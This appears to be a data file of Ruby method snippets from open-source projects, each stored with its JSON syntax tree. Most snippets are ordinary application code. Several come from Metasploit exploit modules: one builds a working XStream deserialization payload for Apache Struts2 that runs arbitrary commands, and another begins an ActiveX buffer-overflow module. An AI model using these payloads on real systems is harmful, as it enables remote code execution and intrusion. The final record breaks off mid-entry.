{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_site_texts.rb","start_line":24,"raw_source":"def select_locale(locale_short_name)\n        locale_selector = PageObjects::Components::SelectKit.new(\".locale-search\")\n        locale_selector.expand\n        locale_selector.select_row_by_value(locale_short_name)\n        locale_selector.collapse\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"select_locale\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale_short_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"locale_selector\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PageObjects\"]},\"Components\"]},\"SelectKit\"]},\"new\",{\"type\":\"str\",\"children\":[\".locale-search\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_selector\"]},\"expand\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_selector\"]},\"select_row_by_value\",{\"type\":\"lvar\",\"children\":[\"locale_short_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_selector\"]},\"collapse\"]}]}]}","id":"7ee8254e-62c8-4dfc-b208-097bd7c82835"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_migration.rb","start_line":78,"raw_source":"def wait_for_migration?\n      return false unless schema_migrations_ran_class\n\n      # We need to unscope here since in_region doesn't override the default scope of in_my_region\n      # see https://github.com/ManageIQ/activerecord-id_regions/issues/11\n      !schema_migrations_ran_class.unscoped.in_region(region_number).where(:version => version).exists?\n    end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_migration?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_migrations_ran_class\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_migrations_ran_class\"]},\"unscoped\"]},\"in_region\",{\"type\":\"send\",\"children\":[null,\"region_number\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[null,\"version\"]}]}]}]},\"exists?\"]},\"!\"]}]}]}","id":"4de94666-6a5c-40b7-95a5-9bda5db35a7b"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/form_fields/primerized/form_field.rb","start_line":6,"raw_source":"def property_name\n        if property.is_a? CustomField\n          property.attribute_name(:kebab_case)\n        else\n          property.to_s\n        end\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"property_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"property\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"CustomField\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"property\"]},\"attribute_name\",{\"type\":\"sym\",\"children\":[\"kebab_case\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"property\"]},\"to_s\"]}]}]}","id":"c659a159-4660-403c-9c7e-8e11b765f3ab"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/event_mixin.rb","start_line":14,"raw_source":"def last_event(assoc = :ems_events)\n    event = find_one_event(assoc, \"timestamp DESC\")\n    event.try(:timestamp)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"last_event\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"assoc\",{\"type\":\"sym\",\"children\":[\"ems_events\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[null,\"find_one_event\",{\"type\":\"lvar\",\"children\":[\"assoc\"]},{\"type\":\"str\",\"children\":[\"timestamp DESC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"try\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]}]}]}","id":"1e5f5c19-c894-4bf6-b3b4-cefc020601d8"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/build_beta_detail.rb","start_line":64,"raw_source":"def missing_export_compliance?\n        return external_build_state == ExternalState::MISSING_EXPORT_COMPLIANCE\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_export_compliance?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"external_build_state\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExternalState\"]},\"MISSING_EXPORT_COMPLIANCE\"]}]}]}]}","id":"898a4086-d0f3-4532-9404-25ac7c8f9533"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/shares/work_packages/base_extension.rb","start_line":51,"raw_source":"def project_set\n        errors.add(:project, :blank) if project.nil?\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"project_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"sym\",\"children\":[\"blank\"]}]},null]}]}","id":"1b004148-d886-4356-985d-cf95b555b404"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/tpwn.rb","start_line":56,"raw_source":"def base_dir\n    datastore['WritableDir'].to_s\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"base_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]},\"to_s\"]}]}","id":"332e20bf-dc91-4914-9f06-0baebca7a4de"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/shared/scroll_into_view_helpers.rb","start_line":37,"raw_source":"def scroll_to_element(element, block: :start, inline: :nearest)\n  script = <<-JS\n    arguments[0].scrollIntoView({block: \"#{block}\", inline: \"#{inline}\"});\n  JS\n  if using_cuprite?\n    page.driver.execute_script(script, element.native)\n  else\n    Capybara.current_session.driver.browser.execute_script(script, element.native)\n  end\nend","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"scroll_to_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"kwoptarg\",\"children\":[\"block\",{\"type\":\"sym\",\"children\":[\"start\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"inline\",{\"type\":\"sym\",\"children\":[\"nearest\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"script\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    arguments[0].scrollIntoView({block: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"str\",\"children\":[\"\\\", inline: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inline\"]}]},{\"type\":\"str\",\"children\":[\"\\\"});\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"using_cuprite?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"driver\"]},\"execute_script\",{\"type\":\"lvar\",\"children\":[\"script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"native\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"current_session\"]},\"driver\"]},\"browser\"]},\"execute_script\",{\"type\":\"lvar\",\"children\":[\"script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"native\"]}]}]}]}]}","id":"e3c31c1d-9f67-481d-b833-741d45356263"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/application_policy.rb","start_line":17,"raw_source":"def user_signed_in?\n    !current_user.nil?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"user_signed_in?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"nil?\"]},\"!\"]}]}","id":"d5b4b483-2d64-4e96-8e82-700361f077bf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/struts2_rest_xstream.rb","start_line":145,"raw_source":"def xstream_payload(cmd)\n    # XXX: <spillLength> and <read> need to be removed for Windows\n    <<~EOF\n      <map>\n        <entry>\n          <jdk.nashorn.internal.objects.NativeString>\n            <flags>0</flags>\n            <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n              <dataHandler>\n                <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n                  <is class=\"javax.crypto.CipherInputStream\">\n                    <cipher class=\"javax.crypto.NullCipher\">\n                      <initialized>false</initialized>\n                      <opmode>0</opmode>\n                      <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n                        <iter class=\"javax.imageio.spi.FilterIterator\">\n                          <iter class=\"java.util.Collections$EmptyIterator\"/>\n                          <next class=\"java.lang.ProcessBuilder\">\n                            <command>\n                              <string>#{cmd.join('</string><string>')}</string>\n                            </command>\n                            <redirectErrorStream>false</redirectErrorStream>\n                          </next>\n                        </iter>\n                        <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n                          <method>\n                            <class>java.lang.ProcessBuilder</class>\n                            <name>start</name>\n                            <parameter-types/>\n                          </method>\n                          <name>#{rand_str}</name>\n                        </filter>\n                        <next class=\"string\">#{rand_str}</next>\n                      </serviceIterator>\n                      <lock/>\n                    </cipher>\n                    <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n                    <ibuffer></ibuffer>\n                    <done>false</done>\n                    <ostart>0</ostart>\n                    <ofinish>0</ofinish>\n                    <closed>false</closed>\n                  </is>\n                  <consumed>false</consumed>\n                </dataSource>\n                <transferFlavors/>\n              </dataHandler>\n              <dataLen>0</dataLen>\n            </value>\n          </jdk.nashorn.internal.objects.NativeString>\n          <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n        </entry>\n        <entry>\n          <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n          <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n        </entry>\n      </map>\n    EOF\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"xstream_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<map>\\n\"]},{\"type\":\"str\",\"children\":[\"  <entry>\\n\"]},{\"type\":\"str\",\"children\":[\"    <jdk.nashorn.internal.objects.NativeString>\\n\"]},{\"type\":\"str\",\"children\":[\"      <flags>0</flags>\\n\"]},{\"type\":\"str\",\"children\":[\"      <value class=\\\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"        <dataHandler>\\n\"]},{\"type\":\"str\",\"children\":[\"          <dataSource class=\\\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"            <is class=\\\"javax.crypto.CipherInputStream\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"              <cipher class=\\\"javax.crypto.NullCipher\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"                <initialized>false</initialized>\\n\"]},{\"type\":\"str\",\"children\":[\"                <opmode>0</opmode>\\n\"]},{\"type\":\"str\",\"children\":[\"                <serviceIterator class=\\\"javax.imageio.spi.FilterIterator\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"                  <iter class=\\\"javax.imageio.spi.FilterIterator\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"                    <iter class=\\\"java.util.Collections$EmptyIterator\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"                    <next class=\\\"java.lang.ProcessBuilder\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"                      <command>\\n\"]},{\"type\":\"str\",\"children\":[\"                        <string>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"join\",{\"type\":\"str\",\"children\":[\"</string><string>\"]}]}]},{\"type\":\"str\",\"children\":[\"</string>\\n\"]},{\"type\":\"str\",\"children\":[\"                      </command>\\n\"]},{\"type\":\"str\",\"children\":[\"                      <redirectErrorStream>false</redirectErrorStream>\\n\"]},{\"type\":\"str\",\"children\":[\"                    </next>\\n\"]},{\"type\":\"str\",\"children\":[\"                  </iter>\\n\"]},{\"type\":\"str\",\"children\":[\"                  <filter class=\\\"javax.imageio.ImageIO$ContainsFilter\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"                    <method>\\n\"]},{\"type\":\"str\",\"children\":[\"                      <class>java.lang.ProcessBuilder</class>\\n\"]},{\"type\":\"str\",\"children\":[\"                      <name>start</name>\\n\"]},{\"type\":\"str\",\"children\":[\"                      <parameter-types/>\\n\"]},{\"type\":\"str\",\"children\":[\"                    </method>\\n\"]},{\"type\":\"str\",\"children\":[\"                    <name>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_str\"]}]},{\"type\":\"str\",\"children\":[\"</name>\\n\"]},{\"type\":\"str\",\"children\":[\"                  </filter>\\n\"]},{\"type\":\"str\",\"children\":[\"                  <next class=\\\"string\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_str\"]}]},{\"type\":\"str\",\"children\":[\"</next>\\n\"]},{\"type\":\"str\",\"children\":[\"                </serviceIterator>\\n\"]},{\"type\":\"str\",\"children\":[\"                <lock/>\\n\"]},{\"type\":\"str\",\"children\":[\"              </cipher>\\n\"]},{\"type\":\"str\",\"children\":[\"              <input class=\\\"java.lang.ProcessBuilder$NullInputStream\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"              <ibuffer></ibuffer>\\n\"]},{\"type\":\"str\",\"children\":[\"              <done>false</done>\\n\"]},{\"type\":\"str\",\"children\":[\"              <ostart>0</ostart>\\n\"]},{\"type\":\"str\",\"children\":[\"              <ofinish>0</ofinish>\\n\"]},{\"type\":\"str\",\"children\":[\"              <closed>false</closed>\\n\"]},{\"type\":\"str\",\"children\":[\"            </is>\\n\"]},{\"type\":\"str\",\"children\":[\"            <consumed>false</consumed>\\n\"]},{\"type\":\"str\",\"children\":[\"          </dataSource>\\n\"]},{\"type\":\"str\",\"children\":[\"          <transferFlavors/>\\n\"]},{\"type\":\"str\",\"children\":[\"        </dataHandler>\\n\"]},{\"type\":\"str\",\"children\":[\"        <dataLen>0</dataLen>\\n\"]},{\"type\":\"str\",\"children\":[\"      </value>\\n\"]},{\"type\":\"str\",\"children\":[\"    </jdk.nashorn.internal.objects.NativeString>\\n\"]},{\"type\":\"str\",\"children\":[\"    <jdk.nashorn.internal.objects.NativeString reference=\\\"../jdk.nashorn.internal.objects.NativeString\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"  </entry>\\n\"]},{\"type\":\"str\",\"children\":[\"  <entry>\\n\"]},{\"type\":\"str\",\"children\":[\"    <jdk.nashorn.internal.objects.NativeString reference=\\\"../../entry/jdk.nashorn.internal.objects.NativeString\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"    <jdk.nashorn.internal.objects.NativeString reference=\\\"../../entry/jdk.nashorn.internal.objects.NativeString\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"  </entry>\\n\"]},{\"type\":\"str\",\"children\":[\"</map>\\n\"]}]}]}","id":"fd439224-8c46-48bd-b20f-60d7e97aee82"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb","start_line":259,"raw_source":"def clear_query_cache\n        pool.clear_query_cache\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_query_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pool\"]},\"clear_query_cache\"]}]}","id":"d900eeab-3e79-4673-a202-a0e4e08361d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/storage/legacy_project.rb","start_line":23,"raw_source":"def disk_path\n      project.full_path\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"disk_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]}","id":"7652e2b1-7532-4315-85dc-83894a604d5f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_around_operators.rb","start_line":132,"raw_source":"def on_binary(node)\n          rhs = node.rhs\n\n          return unless rhs\n\n          check_operator(:binary, node.loc.operator, rhs)\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_binary\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rhs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"rhs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"check_operator\",{\"type\":\"sym\",\"children\":[\"binary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"operator\"]},{\"type\":\"lvar\",\"children\":[\"rhs\"]}]}]}]}","id":"3a7293ef-6922-4df9-acaa-6f2a682e7a27"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/debian/process_package_file_service.rb","start_line":182,"raw_source":"def update_file_metadata\n        ::Packages::UpdatePackageFileService.new(@package_file, package_id: package.id)\n          .execute\n\n        # Force reload from database, as package has changed\n        @package_file.reload_package\n\n        @package_file.debian_file_metadatum.update!(\n          file_type: file_metadata[:file_type],\n          component: @component_name,\n          architecture: file_metadata[:architecture],\n          fields: file_metadata[:fields]\n        )\n      end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_file_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"UpdatePackageFileService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@package_file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package\"]},\"id\"]}]}]}]},\"execute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@package_file\"]},\"reload_package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@package_file\"]},\"debian_file_metadatum\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file_type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"ivar\",\"children\":[\"@component_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"architecture\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"architecture\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fields\"]}]}]}]}]}]}]}","id":"ba93e187-e375-4c07-a950-5fec63b313ad"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt/gantt_builder.rb","start_line":552,"raw_source":"def build_multi_group_same_page_dep_line(source, target, page_index, page_groups)\n      build_multi_group_same_page_dep_lines_forward_start(source, target)\n      build_multi_group_dep_line_middle(source, target, page_index, page_groups)\n      build_multi_group_dep_line_group_end_end(target, target.start_left - LINE_STEP)\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_multi_group_same_page_dep_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"page_index\"]},{\"type\":\"arg\",\"children\":[\"page_groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_multi_group_same_page_dep_lines_forward_start\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[null,\"build_multi_group_dep_line_middle\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"page_index\"]},{\"type\":\"lvar\",\"children\":[\"page_groups\"]}]},{\"type\":\"send\",\"children\":[null,\"build_multi_group_dep_line_group_end_end\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"start_left\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"LINE_STEP\"]}]}]}]}]}","id":"c6d51b47-2377-4940-a785-42c4787bf28a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":690,"raw_source":"def lfs_enabled?\n    return false unless Gitlab.config.lfs.enabled\n    return Gitlab.config.lfs.enabled if self[:lfs_enabled].nil?\n\n    self[:lfs_enabled]\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"lfs_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"lfs\"]},\"enabled\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"lfs_enabled\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"lfs\"]},\"enabled\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"lfs_enabled\"]}]}]}]}","id":"05d2a277-b0ff-4065-95cd-040193b46808"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_link_to.rb","start_line":100,"raw_source":"def warn_xss(result, message, user_input, confidence)\n    add_result(result)\n    warn :result => result,\n      :warning_type => \"Cross-Site Scripting\",\n      :warning_code => :xss_link_to,\n      :message => message,\n      :user_input => user_input,\n      :confidence => confidence,\n      :link_path => \"link_to\",\n      :cwe_id => [79]\n\n    true\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"warn_xss\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"user_input\"]},{\"type\":\"arg\",\"children\":[\"confidence\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"xss_link_to\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"lvar\",\"children\":[\"user_input\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"confidence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"link_to\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[79]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"b97b5eb7-8806-4591-ad2d-b9131b7ed72d"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/notifications_spec.rb","start_line":56,"raw_source":"def normalize_backtraces(failure)\n        failure.all_exceptions.each do |exception|\n          if exception.is_a?(RSpec::Expectations::MultipleExpectationsNotMetError)\n            normalize_backtraces(exception)\n          end\n\n          normalize_one_backtrace(exception)\n        end\n\n        normalize_one_backtrace(failure)\n      end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_backtraces\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"failure\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failure\"]},\"all_exceptions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"Expectations\"]},\"MultipleExpectationsNotMetError\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_backtraces\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"normalize_one_backtrace\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"normalize_one_backtrace\",{\"type\":\"lvar\",\"children\":[\"failure\"]}]}]}]}","id":"75786580-5d53-4cea-b66b-798bd8917437"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"ICONICS WebHMI ActiveX Buffer Overflow\",\n        'Description' => %q{\n          This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.\n          By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll\n          fails to do any proper bounds checking before this input is copied onto the stack,\n          which causes a buffer overflow, and results arbitrary code execution under the context\n          of the user.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Scoot Bell <scott.bell[at]security-assessment.com>',\n          'Blair Strang <blair.strang[at]security-assessment.com>',\n          'sinn3r', # Metasploit port\n        ],\n        'References' => [\n          ['CVE', '2011-2089'],\n          ['OSVDB', '72135'],\n          ['URL', 'http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf'],\n          ['EDB', '17240'],\n          ['URL', 'https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-080-02']\n        ],\n        'Payload' => {\n  